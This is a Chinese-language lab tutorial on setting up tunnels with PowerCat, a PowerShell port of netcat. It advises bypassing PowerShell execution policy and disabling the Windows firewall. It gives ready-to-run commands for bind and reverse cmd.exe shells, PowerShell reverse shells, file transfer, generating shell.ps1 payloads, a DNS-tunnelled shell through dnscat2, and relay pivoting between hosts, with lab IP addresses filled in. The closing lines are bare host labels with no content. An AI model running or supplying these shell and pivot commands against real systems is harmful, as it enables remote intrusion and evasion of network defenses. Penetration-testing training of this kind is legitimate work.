PowerCat隧道搭建
简介
PowerCat可以说是nc的PowerShell版本。PowerCat可以通过执行命令回到本地执行,也可以远程权限执行。PowerCat在实战场景中也是使用比较多的一个隧道建立工具,希望读者可以熟练运用这种技术在攻防实践中。
下载PowerCat
这是PowerCat的github下载地址
https://github.com/besimorhino/powercat
下载完成后,我们要使用Import-Module .\powercat.ps1
这个命令导入powershell脚本,在实战中我们往往因为权限不足导入失败,因此我们有两种方法。第一种是通过绕过策略绕过权限的限制,另一种是修改它的默认权限为RemoteSigned。比较推荐使用第一种方式,但是为了实验效果,我们这里采用第二种方式导入。
这里提醒下,Windows server版本的操作系统最好关闭防火墙,因为我在实验的时候,不知道是不是防火墙检测到转发的流量截断了shell的反弹,只有关闭防火墙才能实验成功。这是我们实验环境的信息:
操作系统 | 系统位数 | IP地址 |
---|---|---|
Windows 7 | 64 | 172.16.179.88, 192.168.108.103 |
Windows Server 2008 | 64 | 192.168.108.108 |
Kali Linux | 64 | 172.16.179.87 |
通过nc正向连接PowerCat
首先我们在win7上执行powercat -l -p 8080 -e cmd.exe -v
这个命令开启监听
然后我们在kali上执行netcat 172.16.179.88 8080 -vv
这个命令即可反弹回shell
这里解释一下参数的作用,-l
是监听模式,用于入站连接,-p
是指定监听端口,-e
是指定要启动进程的名称,-v
是显示详情。
通过nc反向连接PowerCat
我们在kali上执行netcat -l -p 8888 -vv
开启监听
我们在Windows7上执行powercat -c 172.16.179.87 -p 8888 -v -e cmd.exe
命令,-c参数用于提供想要连接的IP地址
通过PowerCat返回Powershell
我们在win7上执行powercat -c 192.168.108.108 -p 9999 -v -ep
命令,-ep参数用于返回PowerShell
在Windows Server2008上,我们执行powercat -l -p 9999 -v
命令
通过PowerCat传输文件
我们现在win7的桌面上新建一个test.txt文件,并且在win2008上执行powercat -l -p 9999 -of test.txt -v
命令
在win7上执行powercat -c 192.168.108.108 -p 9999 -i C:\Users\testuser\Desktop\test.txt -v
命令,-i参数是输入,可以写文件名,也可以直接写字符串;-of参数是输出文件名,可以在文件名前添加路径。
用PowerCat生成Payload
我们使用PowerCat生成的Payload也有正向和方向之分,并且可以对其进行编码。首先我们使用powercat -l -p 8000 -e cmd -v -g >> shell.ps1
生成一个powershell脚本。
然后我们在win7上输入powercat -c 192.168.108.108 -p 8000 -v
开启监听
我们事先要再win2008机子上运行我们的shell.ps1脚本
PowerCat DNS隧道通信
因为PowerCat的DNS通信是基于dnscat设计的,因此我们需要配置好dnscat的环境
https://github.com/iagox86/dnscat2
然后我们进入dnscat的server目录下,输入gem install bundler和bundler install安装bundler环境
接着我们运行ruby脚本ruby dnscat2.rb ttpowercat.test -e open --no-cache
,开启dnscat的监听
然后我们在win7上执行powercat -c 172.16.179.87 -p 53 -dns ttpowercat.test -e cmd.exe
,-dns参数表示使用DNS通信
kali上获得了一个session
我们不建议使用这个建立隧道,因为DNS因为自身协议的局限性,在执行命令的时候会比较卡。
将PowerCat作为跳板
首先我们在win2008上执行powercat -l -v -p 9999 -e cmd.exe
命令开启监听
然后在win7上执行powercat -l -v -p 8000 -r tcp:192.168.108.108:9999
最后让kali和windows7主机进行连接,win7主机就可以将流量转发给win2008主机上了
其实也可以通过DNS协议的方式
win7
win2008
kali